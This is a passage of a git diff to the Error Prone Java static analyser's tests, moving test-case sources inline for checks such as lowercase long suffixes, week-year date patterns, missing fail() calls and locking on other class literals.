-> Math.pow(x, 1 / curved) * 100; + return generateDataSeries(curveFunction); + } + + // call site: lambda Function + public Double getMu() { + return generateDataSeries(mu -> 2.3); + } + } + + public static class WithCallSiteAnonymousFunction { + + private static double findOptimalMu(Function costFunc, double mid) { + return costFunc.apply(mid); + } + + // call site: anonymous Function + public Double getMu() { + return findOptimalMu( + new Function() { + @Override + public Long apply(Double mu) { + return 0L; + } + }, + 3.0); + } + } + + public static class WithCallSiteLambdaFunction { + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private static double findOptimalMuLambda(Function costFunc, double mid) { + return costFunc.apply(mid); + } + + // call site: lambda + public Double getMu() { + return findOptimalMuLambda(mu -> 0L, 3.0); + } + + // call site: lambda + public Double getTu() { + return findOptimalMuLambda(mu -> 2L, 4.0); + } + } + + public static class TwoLambdaFunctions { + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private static double find( + Function firstFunc, Function secondFun, double mid) { + firstFunc.apply(mid + 2); + + return firstFunc.apply(mid); + } + + // call site: lambda + public Double getMu() { + return find(mu -> 0L, nu -> 1L, 3.0); + } + + // call site: lambda + public Double getTu() { + return find(mu -> 2L, nu -> 3L, 4.0); + } + } + + public static class NumbertoT { + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private static List numToTFunction(Function converter) { + List namedNumberIntervals = new ArrayList<>(); + T min = converter.apply(2.9); + T max = converter.apply(5.6); + namedNumberIntervals.add(min); + namedNumberIntervals.add(max); + return namedNumberIntervals; + } + + // call site: lambda + public List getIntList() { + List result = numToTFunction(num -> 2 + 3); + + return result; + } + + // call site: lambda + public List getDoubleList() { + List result = numToTFunction(num -> 2.3); + + return result; + } + } + + public static class TtoNumber { + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private int sumAll(Function sizeConv) { + return sizeConv.apply((T) Integer.valueOf(3)); + } + + public int getSumAll() { + return sumAll(o -> 2); + } + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/LambdaFunctionalInterfaceNegativeCases.java") + .addSourceLines( + "LambdaFunctionalInterfaceNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.function.Function; +import java.util.function.IntToDoubleFunction; + +public class LambdaFunctionalInterfaceNegativeCases { + + public double fooIntToDoubleFunction(int x, Function fn) { + return fn.apply(x).doubleValue(); + } + + public void fooIntToDoubleUtil(int y, IntToDoubleFunction fn) { + fn.applyAsDouble(y); + } + + public long fooIntToLongFunction(int x, Function fn) { + return fn.apply(x); + } + + public long fooIntToIntFunction(int x, Function fn) { + return fn.apply(x); + } + + public double fooDoubleToDoubleFunction(double x, Function fn) { + return fn.apply(x); + } + + public int fooDoubleToIntFunction(double x, Function fn) { + return fn.apply(x); + } + + public String add(String string, Function func) { + return func.apply(string); + } + + public void fooInterface(String str, Function func) {} + + public double fooDouble(double x, Function fn) { + return fn.apply(x); + } + + public static class WithCallSiteExplicitFunction { + + public static double generateDataSeries(Function curveFunction) { + final double scale = 100; + final double modX = 2.0; + return modX / curveFunction.apply(scale); + } + + // call site + private static double generateSpendCurveForMetric(double curved) { + // explicit Function variable creation + Function curveFunction = x -> Math.pow(x, 1 / curved) * 100; + return generateDataSeries(curveFunction); + } + } + + public static class WithCallSiteAnonymousFunction { + + public static double findOptimalMu(Function costFunc, double mid) { + return costFunc.apply(mid); + } + + // call site: anonymous Function + public Double getMu() { + return findOptimalMu( + new Function() { + @Override + public Long apply(Double mu) { + return 0L; + } + }, + 3.0); + } + } + + public static class WithCallSiteLambdaFunction { + + public static double findOptimalMuLambda(Function costFunc, double mid) { + return costFunc.apply(mid); + } + + // call site: anonymous Function + public Double getMu() { + return findOptimalMuLambda(mu -> 0L, 3.0); + } + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/LiteEnumValueOfTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/LiteEnumValueOfTest.java index 2acd2b86acc..39f35ea3081 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/LiteEnumValueOfTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/LiteEnumValueOfTest.java @@ -31,8 +31,32 @@ public final class LiteEnumValueOfTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(LiteEnumValueOf.class, getClass()) - .addSourceFile("android/testdata/stubs/android/os/Parcel.java") - .addSourceFile("android/testdata/stubs/android/os/Parcelable.java") + .addSourceLines( + "Parcel.java", + """ + package android.os; + + public interface Parcel {}""") + .addSourceLines( + "Parcelable.java", + """ + package android.os; + + public interface Parcelable { + interface Creator { + T createFromParcel(Parcel in); + + T[] newArray(int size); + } + + int describeContents(); + + void writeToParcel(Parcel dest, int flags); + + interface ClassLoaderCreator extends Creator { + T createFromParcel(Parcel source, ClassLoader loader); + } + }""") .addSourceLines( "FakeLiteEnum.java", """ diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/LockOnNonEnclosingClassLiteralTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/LockOnNonEnclosingClassLiteralTest.java index 5ed1787e1a8..0e7bf3d65c4 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/LockOnNonEnclosingClassLiteralTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/LockOnNonEnclosingClassLiteralTest.java @@ -30,14 +30,70 @@ public final class LockOnNonEnclosingClassLiteralTest { @Test public void lockOnNonEnclosingClassLiteralPositiveCases() { compilationHelper - .addSourceFile("testdata/LockOnNonEnclosingClassLiteralPositiveCases.java") + .addSourceLines( + "LockOnNonEnclosingClassLiteralPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +public class LockOnNonEnclosingClassLiteralPositiveCases { + + static { + // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code block + // can unintentionally prevent the locked class being used properly. + synchronized (String.class) { + } + } + + private void methodContainsSynchronizedBlock() { + // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code block + // can unintentionally prevent the locked class being used properly. + synchronized (String.class) { + } + } + + class SubClass { + + public void methodContainsSynchronizedBlock() { + // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code + // block can unintentionally prevent the locked class being used properly. + synchronized (LockOnNonEnclosingClassLiteralPositiveCases.class) { + } + } + } +}""") .doTest(); } @Test public void lockOnNonEnclosingClassLiteralNegativeCases() { compilationHelper - .addSourceFile("testdata/LockOnNonEnclosingClassLiteralNegativeCases.java") + .addSourceLines( + "LockOnNonEnclosingClassLiteralNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class LockOnNonEnclosingClassLiteralNegativeCases { + + static { + synchronized (LockOnNonEnclosingClassLiteralNegativeCases.class) { + } + } + + private void methodContainsSynchronizedBlock() { + synchronized (LockOnNonEnclosingClassLiteralNegativeCases.class) { + } + synchronized (this) { + } + } + + class SubClass { + + public void methodContainsSynchronizedBlock() { + synchronized (SubClass.class) { + } + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/LongLiteralLowerCaseSuffixTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/LongLiteralLowerCaseSuffixTest.java index 5f613ddfe85..d7e4a00fca3 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/LongLiteralLowerCaseSuffixTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/LongLiteralLowerCaseSuffixTest.java @@ -36,7 +36,88 @@ public class LongLiteralLowerCaseSuffixTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/LongLiteralLowerCaseSuffixPositiveCase1.java") + .addSourceLines( + "LongLiteralLowerCaseSuffixPositiveCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * Positive cases for {@link LongLiteralLowerCaseSuffix}. + */ +public class LongLiteralLowerCaseSuffixPositiveCase1 { + + // This constant string includes non-ASCII characters to make sure that we're not confusing + // bytes and chars: + @SuppressWarnings("unused") + private static final String TEST_STRING = "Îñţérñåţîöñåļîžåţîờñ"; + + public void positiveLowerCase() { + // BUG: Diagnostic contains: value = 123432L + long value = 123432l; + } + + public void zeroLowerCase() { + // BUG: Diagnostic contains: value = 0L + long value = 0l; + } + + public void negativeLowerCase() { + // BUG: Diagnostic contains: value = -123432L + long value = -123432l; + } + + public void negativeExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 123432L + long value = - 123432l; + } + + public void positiveHexLowerCase() { + // BUG: Diagnostic contains: value = 0x8abcDEF0L + long value = 0x8abcDEF0l; + // BUG: Diagnostic contains: value = 0X80L + value = 0X80l; + } + + public void zeroHexLowerCase() { + // BUG: Diagnostic contains: value = 0x0L + long value = 0x0l; + // BUG: Diagnostic contains: value = 0X0L + value = 0X0l; + } + + public void negativeHexLowerCase() { + // BUG: Diagnostic contains: value = -0x8abcDEF0L + long value = -0x8abcDEF0l; + // BUG: Diagnostic contains: value = -0X80L + value = -0X80l; + } + + public void negativeHexExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 0x8abcDEF0L + long value = - 0x8abcDEF0l; + } + + public void positiveOctalLowerCase() { + // BUG: Diagnostic contains: value = 06543L + long value = 06543l; + } + + public void zeroOctalLowerCase() { + // BUG: Diagnostic contains: value = 00L + long value = 00l; + } + + public void negativeOctalLowerCase() { + // BUG: Diagnostic contains: value = -06543L + long value = -06543l; + } + + public void negativeOctalExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 06543L + long value = - 06543l; + } + +}""") .doTest(); } @@ -44,14 +125,82 @@ public void positiveCase() { @Test public void java7PositiveCase() { compilationHelper - .addSourceFile("testdata/LongLiteralLowerCaseSuffixPositiveCase2.java") + .addSourceLines( + "LongLiteralLowerCaseSuffixPositiveCase2.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** Positive cases for {@link LongLiteralLowerCaseSuffix}. */ +public class LongLiteralLowerCaseSuffixPositiveCase2 { + + // This constant string includes non-ASCII characters to make sure that we're not confusing + // bytes and chars: + @SuppressWarnings("unused") + private static final String TEST_STRING = "Îñţérñåţîöñåļîžåţîờñ"; + + public void underscoredLowerCase() { + // BUG: Diagnostic contains: value = 0_1__2L + long value = 0_1__2l; + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/LongLiteralLowerCaseSuffixNegativeCases.java") + .addSourceLines( + "LongLiteralLowerCaseSuffixNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Negative cases for {@link LongLiteralLowerCaseSuffix} + * + * @author Simon Nickerson (sjnickerson@google.com) + */ + public class LongLiteralLowerCaseSuffixNegativeCases { + public void positiveUpperCase() { + long value = 123432L; + } + + public void zeroUpperCase() { + long value = 0L; + } + + public void negativeUpperCase() { + long value = -3L; + } + + public void notLong() { + String value = "0l"; + } + + public void variableEndingInEllIsNotALongLiteral() { + long ell = 0L; + long value = ell; + } + + public void positiveNoSuffix() { + long value = 3; + } + + public void negativeNoSuffix() { + long value = -3; + } + + public void positiveHexUpperCase() { + long value = 0x80L; + } + + public void zeroHexUpperCase() { + long value = 0x0L; + } + + public void negativeHexUpperCase() { + long value = -0x80L; + } + }""") .doTest(); } @@ -60,7 +209,88 @@ public void disableable() { compilationHelper .setArgs(ImmutableList.of("-Xep:LongLiteralLowerCaseSuffix:OFF")) .expectNoDiagnostics() - .addSourceFile("testdata/LongLiteralLowerCaseSuffixPositiveCase1.java") + .addSourceLines( + "LongLiteralLowerCaseSuffixPositiveCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * Positive cases for {@link LongLiteralLowerCaseSuffix}. + */ +public class LongLiteralLowerCaseSuffixPositiveCase1 { + + // This constant string includes non-ASCII characters to make sure that we're not confusing + // bytes and chars: + @SuppressWarnings("unused") + private static final String TEST_STRING = "Îñţérñåţîöñåļîžåţîờñ"; + + public void positiveLowerCase() { + // BUG: Diagnostic contains: value = 123432L + long value = 123432l; + } + + public void zeroLowerCase() { + // BUG: Diagnostic contains: value = 0L + long value = 0l; + } + + public void negativeLowerCase() { + // BUG: Diagnostic contains: value = -123432L + long value = -123432l; + } + + public void negativeExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 123432L + long value = - 123432l; + } + + public void positiveHexLowerCase() { + // BUG: Diagnostic contains: value = 0x8abcDEF0L + long value = 0x8abcDEF0l; + // BUG: Diagnostic contains: value = 0X80L + value = 0X80l; + } + + public void zeroHexLowerCase() { + // BUG: Diagnostic contains: value = 0x0L + long value = 0x0l; + // BUG: Diagnostic contains: value = 0X0L + value = 0X0l; + } + + public void negativeHexLowerCase() { + // BUG: Diagnostic contains: value = -0x8abcDEF0L + long value = -0x8abcDEF0l; + // BUG: Diagnostic contains: value = -0X80L + value = -0X80l; + } + + public void negativeHexExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 0x8abcDEF0L + long value = - 0x8abcDEF0l; + } + + public void positiveOctalLowerCase() { + // BUG: Diagnostic contains: value = 06543L + long value = 06543l; + } + + public void zeroOctalLowerCase() { + // BUG: Diagnostic contains: value = 00L + long value = 00l; + } + + public void negativeOctalLowerCase() { + // BUG: Diagnostic contains: value = -06543L + long value = -06543l; + } + + public void negativeOctalExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 06543L + long value = - 06543l; + } + +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MissingFailTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MissingFailTest.java index 852d6a54e41..b9a985b27e3 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MissingFailTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MissingFailTest.java @@ -35,27 +35,734 @@ public class MissingFailTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/MissingFailPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "MissingFailPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.Assert; + import org.mockito.Mockito; + + /** Test cases for missing fail */ + public class MissingFailPositiveCases extends TestCase { + + private boolean foo = true; + + public void expectedException_emptyCatch() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + } + + public void catchAssert() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception e) { + assertDummy(); + } + } + + public void catchVerify() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception e) { + verifyDummy(); + } + } + + public void expectedException_throwOutsideTryTree() throws Exception { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + throw new Exception(); + } + + public void expectedException_assertLastCall() throws Exception { + try { + dummyMethod(); + // BUG: Diagnostic contains: fail() + assertDummy(); + } catch (Exception expected) { + } + throw new Exception(); + } + + public void expectedException_fieldAssignmentInCatch() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + foo = true; + } + } + + public void catchAssert_noopAssertLastCall() { + try { + dummyMethod(); + // BUG: Diagnostic contains: fail() + Assert.assertTrue(true); + } catch (Exception e) { + assertDummy(); + } + } + + public void assertInCatch_verifyNotLastStatement() { + try { + Mockito.verify(new Dummy()).dummy(); + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception e) { + assertDummy(); + } + } + + public void assertInCatch_verifyInCatch() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception e) { + assertDummy(); + Mockito.verify(new Dummy()).dummy(); + } + } + + public void expectedException_logInTry() { + try { + new Logger().log(); + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + foo = true; + } + } + + /** Sameple inner class. */ + public static class Inner { + public void expectedException_emptyCatch() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + } + } + + private static class Dummy { + + String dummy() { + return ""; + } + } + + private static class Logger { + + void log() {} + ; + + void info() {} + ; + } + + private static void dummyMethod() {} + + private static void assertDummy() {} + + private static void verifyDummy() {} + }""") + .doTest(); } @Test public void positiveCases2() { - compilationHelper.addSourceFile("testdata/MissingFailPositiveCases2.java").doTest(); + compilationHelper + .addSourceLines( + "MissingFailPositiveCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + // unused import to make sure we don't introduce an import conflict. + + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Test cases for missing fail */ + @RunWith(JUnit4.class) + public class MissingFailPositiveCases2 { + + @Test + public void expectedException() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + } + + public void expectedException_helperMethod() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + } + + private static void dummyMethod() {} + }""") + .doTest(); } @Test public void positiveCases3() { - compilationHelper.addSourceFile("testdata/MissingFailPositiveCases3.java").doTest(); + compilationHelper + .addSourceLines( + "MissingFailPositiveCases3.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + + /** Examples of an inner test case. */ + public class MissingFailPositiveCases3 { + + /** Sample inner class. */ + public static class Inner extends TestCase { + + public void expectedException_emptyCatch() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + } + + public void catchAssert() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception e) { + assertDummy(); + } + } + } + + private static void dummyMethod() {} + + private static void assertDummy() {} + }""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/MissingFailNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "MissingFailNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.HashMap; +import java.util.Map; +import junit.framework.AssertionFailedError; +import junit.framework.Test; +import junit.framework.TestCase; +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; +import org.mockito.Mockito; + +/** Test cases for missing fail */ +public class MissingFailNegativeCases extends TestCase { + + private static final Logger logger = new Logger(); + private static final Logger log = new Logger(); + private static final Logger thingThatLogs = new Logger(); + + private boolean foo = true; + + public void expectedException_withFail() { + try { + dummyMethod(); + Assert.fail(); + } catch (Exception expected) { + } + } + + @SuppressWarnings("deprecation") // Need to recognize a framework call but don't want a warning. + public void expectedException_withFrameworkFail() { + try { + dummyMethod(); + junit.framework.Assert.fail(); + } catch (Exception expected) { + } + } + + public void expectedException_withStaticFail() { + try { + dummyMethod(); + fail(); + } catch (Exception expected) { + } + } + + public void expectedException_returnInTry() { + try { + dummyMethod(); + return; + } catch (Exception expected) { + } + } + + public void expectedException_returnInCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + return; + } + } + + public void expectedException_returnAfterCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + } + return; + } + + public void expectedException_throwInCatch() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + throw new Exception(); + } + } + + public void expectedException_throwInTry() throws Exception { + boolean foo = false; + try { + if (foo) { + throw new Exception(); + } + dummyMethod(); + } catch (Exception expected) { + } + } + + public void expectedException_throwSynonymInCatch() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.assertFalse(true); + } + } + + public void assertInCatch_testCaseThrowSynonymInCatch() throws Exception { + try { + dummyMethod(); + } catch (Exception e) { + assertFalse(true); + } + } + + public void expectedException_throwSynonymInTry() throws Exception { + boolean foo = false; + try { + if (foo) { + Assert.assertFalse(true); + } + dummyMethod(); + } catch (Exception expected) { + } + } + + public void expectedException_assertTrueFalse() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.assertTrue(false); + } + } + + public void expectedException_assertTrueFalseWithMessage() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.assertTrue("This should never happen", false); + } + } + + public void expectedException_testCaseAssertTrueFalseWithMessage() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + assertTrue("This should never happen", false); + } + } + + public void assertInCatch_assertTrueFalseWithMessage() throws Exception { + try { + dummyMethod(); + } catch (Exception e) { + Assert.assertTrue("This should never happen", false); + } + } + + public void expectedException_assertBoxedTrueFalse() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.assertTrue(Boolean.FALSE); + } + } + + public void expectedException_assertUnequal() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.assertEquals(1, 2); + } + } + + public void expectedException_testCaseAssertUnequal() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + assertEquals(1, 2); + } + } + + public void expectedException_assertFalse() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + assert (false); + } + } + + @Before + public void expectedException_beforeAnnotation() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + @After + public void expectedException_afterAnnotation() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + // Don't match setUp methods. + public void setUp() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + // Don't match tearDown methods. + public void tearDown() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + // Don't match main methods. + public static void main(String[] args) throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + // Don't match suite methods. + public static Test suite() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + int x; // Don't return right after catch so as not to trigger that exclusion. + return null; + } + + public void expectedException_interruptedException() throws Exception { + try { + dummyMethod(); + } catch (InterruptedException expected) { + } + } + + public void expectedException_assertionError() throws Exception { + try { + dummyMethod(); + } catch (AssertionError expected) { + } + } + + public void expectedException_assertionFailedError() throws Exception { + try { + dummyMethod(); + } catch (AssertionFailedError expected) { + } + } + + public void expectedException_throwable() throws Exception { + try { + dummyMethod(); + } catch (Throwable expected) { + } + } + + public void testExpectedException_loopInTestMethod() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + } + + public void expectedException_loopInHelperMethod() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + } + + public static Map assertInCatch_loopInHelperMethod(String... strings) { + Map map = new HashMap<>(); + for (String s : strings) { + try { + map.put(s, s); + } catch (Exception e) { + Assert.assertTrue(s.contains("foo")); + } + } + return map; + } + + // prefixed with "test" but private - not a test method. + private void testExpectedException_loopInPrivateTestHelperMethod() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + } + + // prefixed with "test" but returns - not a test method. + public String testExpectedException_loopInReturningTestHelperMethod() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + return ""; + } + + // Prefixed with "test" to not trigger loop in helper method exclusion. + public void testExpectedException_continueInCatch() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + } catch (Exception expected) { + continue; + } + } + } + + // Prefixed with "test" to not trigger loop in helper method exclusion. + public void testExpectedException_continueInTry() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + continue; + } catch (Exception expected) { + } + } + } + + public void expectedException_finally() { + try { + dummyMethod(); + } catch (Exception expected) { + } finally { + } + } + + public void expectedException_logInCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + thingThatLogs.log(); + } + } + + public void expectedException_loggerCallInCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + logger.info(); + } + } + + public void expectedException_logCallInCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + log.info(); + } + } + + public void assertInCatch_assertLastCallInTry() { + try { + dummyMethod(); + assertDummy(); + } catch (Exception e) { + assertDummy(); + } + } + + public void assertInCatch_fieldAssignmentInCatch() { + try { + dummyMethod(); + } catch (Exception e) { + assertDummy(); + foo = true; + } + } + + public void assertInCatch_assertOnFieldInCatch() { + try { + dummyMethod(); + } catch (Exception e) { + Assert.assertTrue(foo); + } + } + + public void assertInCatch_assertOnVariableInCatch() { + boolean bar = false; + try { + dummyMethod(); + } catch (Exception e) { + Assert.assertTrue(bar); + } + } + + public void assertInCatch_verifyBeforeCatch() { + try { + dummyMethod(); + Mockito.verify(new Dummy()).dummy(); + } catch (Exception e) { + assertDummy(); + } + } + + public void assertInCatch_noopAssertInCatch() { + try { + dummyMethod(); + } catch (Exception e) { + assertTrue(true); + } + } + + public void expectedException_failInCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.fail(); + } + } + + public void expectedException_whileTrue() { + try { + while (true) { + dummyMethod(); + } + } catch (Exception expected) { + } + } + + public void expectedException_customFail() { + try { + dummyMethod(); + specialFail(); + } catch (Exception expected) { + } + } + + private static void dummyMethod() throws InterruptedException {} + + private static void assertDummy() {} + + private static void specialFail() {} + + private static class Logger { + + void log() {} + ; + + void info() {} + ; + } + + private static class Dummy { + + String dummy() { + return ""; + } + } +}""") + .doTest(); } @Test public void negativeCases2() { - compilationHelper.addSourceFile("testdata/MissingFailNegativeCases2.java").doTest(); + compilationHelper + .addSourceLines( + "MissingFailNegativeCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** Test cases for missing fail in a non-test class */ + public class MissingFailNegativeCases2 { + + public void expectedException_emptyCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + public void catchAssert() { + try { + dummyMethod(); + } catch (Exception e) { + assertDummy(); + } + } + + private static void dummyMethod() {} + + private static void assertDummy() {} + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MisusedWeekYearTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MisusedWeekYearTest.java index 0aaa6e16b71..54242d0601a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MisusedWeekYearTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MisusedWeekYearTest.java @@ -31,17 +31,205 @@ public class MisusedWeekYearTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/MisusedWeekYearPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "MisusedWeekYearPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.text.DateFormatSymbols; +import java.text.SimpleDateFormat; +import java.util.Locale; + +public class MisusedWeekYearPositiveCases { + void testConstructorWithLiteralPattern() { + // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd") + SimpleDateFormat simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd"); + + // BUG: Diagnostic contains: new SimpleDateFormat("yy-MM-dd") + simpleDateFormat = new SimpleDateFormat("YY-MM-dd"); + + // BUG: Diagnostic contains: new SimpleDateFormat("y-MM-dd") + simpleDateFormat = new SimpleDateFormat("Y-MM-dd"); + + // BUG: Diagnostic contains: new SimpleDateFormat("yyyyMMdd_HHmm") + simpleDateFormat = new SimpleDateFormat("YYYYMMdd_HHmm"); + + // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd", DateFormatSymbols.getInstance()) + simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance()); + + // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault()) + simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd", Locale.getDefault()); + } + + void testConstructorWithLiteralPatternWithFolding() { + // TODO(eaftan): javac has a bug in that when it folds string literals, the start position of + // the folded string literal node is set as the start position of the + operator. We have + // fixed this in our internal javac, but haven't pushed the change to our external javac mirror. + // We should push that fix to the javac mirror repo, and then we can test that the suggested + // fix offered here is correct ("yyyy-MM-dd"). + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat("YYYY" + "-MM-dd"); + } + + private static final String WEEK_YEAR_PATTERN = "YYYY"; + + private static final String WEEK_YEAR_PATTERN_2 = "YY"; + + private static final String WEEK_YEAR_PATTERN_3 = "Y"; + + void testConstructorWithConstantPattern() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN); + } + + void testConstructorWithConstantPattern2() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_2); + } + + void testConstructorWithConstantPattern3() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_3); + } + + void testConstructorWithConstantPatternWithFolding() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN + "-MM-dd"); + } + + void testConstructorWithConstantPatternWithFolding2() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_2 + "-MM-dd"); + } + + void testConstructorWithConstantPatternWithFolding3() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_3 + "-MM-dd"); + } + + void testApplyPatternAndApplyLocalizedPatternWithLiteralPattern() { + SimpleDateFormat sdf = new SimpleDateFormat(); + // BUG: Diagnostic contains: sdf.applyPattern("yyyy-MM-dd") + sdf.applyPattern("YYYY-MM-dd"); + // BUG: Diagnostic contains: sdf.applyLocalizedPattern("yyyy-MM-dd") + sdf.applyLocalizedPattern("YYYY-MM-dd"); + } + + void testApplyPatternAndApplyLocalizedPatternWithConstantPattern() { + SimpleDateFormat sdf = new SimpleDateFormat(); + // BUG: Diagnostic contains: + sdf.applyPattern(WEEK_YEAR_PATTERN); + // BUG: Diagnostic contains: + sdf.applyLocalizedPattern(WEEK_YEAR_PATTERN); + } + + void testDateTimeFormatter() { + // BUG: Diagnostic contains: + java.time.format.DateTimeFormatter.ofPattern(WEEK_YEAR_PATTERN); + } +}""") + .doTest(); } @Test public void positiveCases2() { - compilationHelper.addSourceFile("testdata/MisusedWeekYearPositiveCases2.java").doTest(); + compilationHelper + .addSourceLines( + 